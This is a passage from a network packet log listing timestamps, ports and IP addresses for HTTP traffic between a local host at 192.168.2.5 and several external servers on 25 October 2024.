Oct 25, 2024 11:18:19.345552921 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.345587015 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.345700026 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.345700979 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.421539068 CEST	80	53061	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:19.421592951 CEST	53061	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:19.446477890 CEST	53067	80	192.168.2.5	96.91.204.114
Oct 25, 2024 11:18:19.452090979 CEST	80	53067	96.91.204.114	192.168.2.5
Oct 25, 2024 11:18:19.452167988 CEST	53067	80	192.168.2.5	96.91.204.114
Oct 25, 2024 11:18:19.458434105 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458467960 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458519936 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458554029 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458596945 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.458606958 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458635092 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.458659887 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458672047 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.458709955 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458745003 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458776951 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458781004 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.458781004 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.458808899 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458858967 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458919048 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458950043 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458955050 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.458955050 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.458983898 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.458995104 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459016085 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459052086 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459069014 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459086895 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459136963 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459150076 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459170103 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459203959 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459212065 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459235907 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459286928 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459286928 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459290028 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459333897 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459359884 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459393024 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459425926 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459458113 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459469080 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459469080 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459469080 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459491014 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459522009 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459523916 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459556103 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459570885 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459570885 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459605932 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459654093 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459687948 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459693909 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459717035 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459734917 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459734917 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459768057 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459805965 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459809065 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459809065 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459837914 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459872007 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459889889 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459903955 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459911108 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459937096 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459970951 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.459996939 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.459996939 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.460004091 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.460052967 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.460078001 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.460087061 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.460094929 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.460119963 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.460154057 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.460175037 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.460175037 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.460186005 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.460220098 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.460226059 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.460226059 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.460247993 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.460274935 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.460385084 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.466684103 CEST	53067	80	192.168.2.5	96.91.204.114
Oct 25, 2024 11:18:19.467374086 CEST	53061	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:19.472275019 CEST	80	53067	96.91.204.114	192.168.2.5
Oct 25, 2024 11:18:19.472871065 CEST	80	53061	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:19.481758118 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.481810093 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.481858969 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.481893063 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.481941938 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.481962919 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.481962919 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.481978893 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.481988907 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482028008 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482062101 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482095003 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482105017 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482105017 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482105017 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482130051 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482137918 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482172966 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482182026 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482217073 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482225895 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482265949 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482275009 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482300997 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482320070 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482350111 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482376099 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482384920 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482414007 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482433081 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482459068 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482465029 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482498884 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482511044 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482546091 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482548952 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482583046 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482614994 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482631922 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482649088 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482681036 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482686996 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482686996 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482713938 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482727051 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482754946 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482764006 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482799053 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482847929 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482860088 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482897043 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482939959 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.482945919 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.482996941 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483025074 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483031988 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483057976 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483092070 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483100891 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483100891 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483100891 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483144045 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483170033 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483176947 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483191967 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483227968 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483278990 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483280897 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483311892 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483386040 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483392954 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483426094 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483469963 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483475924 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483509064 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483513117 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483541965 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483572960 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483578920 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483578920 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483606100 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483638048 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483670950 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483685017 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483685017 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483704090 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483716011 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483736992 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483768940 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483783007 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483805895 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483838081 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483848095 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483848095 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483871937 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483905077 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483942032 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483973980 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.483992100 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483992100 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.483992100 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.484026909 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.499691010 CEST	53068	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:19.503287077 CEST	80	53062	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:19.503343105 CEST	80	53062	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:19.503359079 CEST	53062	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:19.503386021 CEST	53062	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:19.505253077 CEST	80	53068	46.242.238.60	192.168.2.5
Oct 25, 2024 11:18:19.505337000 CEST	53068	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:19.505469084 CEST	53068	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:19.509882927 CEST	80	53057	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:19.509943962 CEST	53057	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:19.510843992 CEST	80	53068	46.242.238.60	192.168.2.5
Oct 25, 2024 11:18:19.577275038 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577306986 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577358007 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577393055 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577425957 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577460051 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577507973 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577558994 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577588081 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577601910 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.577601910 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.577601910 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.577627897 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.577636957 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577688932 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577722073 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577730894 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.577754974 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577786922 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577831030 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.577831030 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.577831030 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.577837944 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577871084 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577903986 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577928066 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.577954054 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.577987909 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578020096 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578041077 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578041077 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578058958 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578071117 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578119993 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578155041 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578187943 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578226089 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578229904 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578229904 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578229904 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578275919 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578280926 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578309059 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578327894 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578342915 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578366041 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578378916 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578388929 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578413010 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578438997 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578449965 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578455925 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578485966 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578521967 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578521967 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578521967 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578556061 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578594923 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578598976 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578598976 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578624010 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578649044 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578670025 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578672886 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578706026 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578756094 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578758955 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578758955 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578808069 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578819990 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578841925 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578855991 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578875065 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578900099 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578907967 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578917027 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.578943014 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578974962 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.578989029 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.579010010 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.579045057 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.579051018 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.579082012 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.579104900 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.579123020 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.579128027 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.582214117 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.594449043 CEST	80	53061	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:19.597359896 CEST	53061	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:19.610600948 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.610636950 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.610671997 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.610704899 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.610738993 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.610758066 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.610758066 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.610758066 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.610771894 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.610822916 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.610829115 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.610872030 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.610905886 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.610939026 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.610948086 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.610948086 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.610994101 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.611026049 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.611059904 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.611067057 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.611067057 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.611092091 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.611125946 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.611150980 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.611150980 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.611159086 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.611177921 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.611201048 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.611202955 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.611234903 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.611268044 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.611300945 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.611326933 CEST	53037	80	192.168.2.5	104.26.10.81
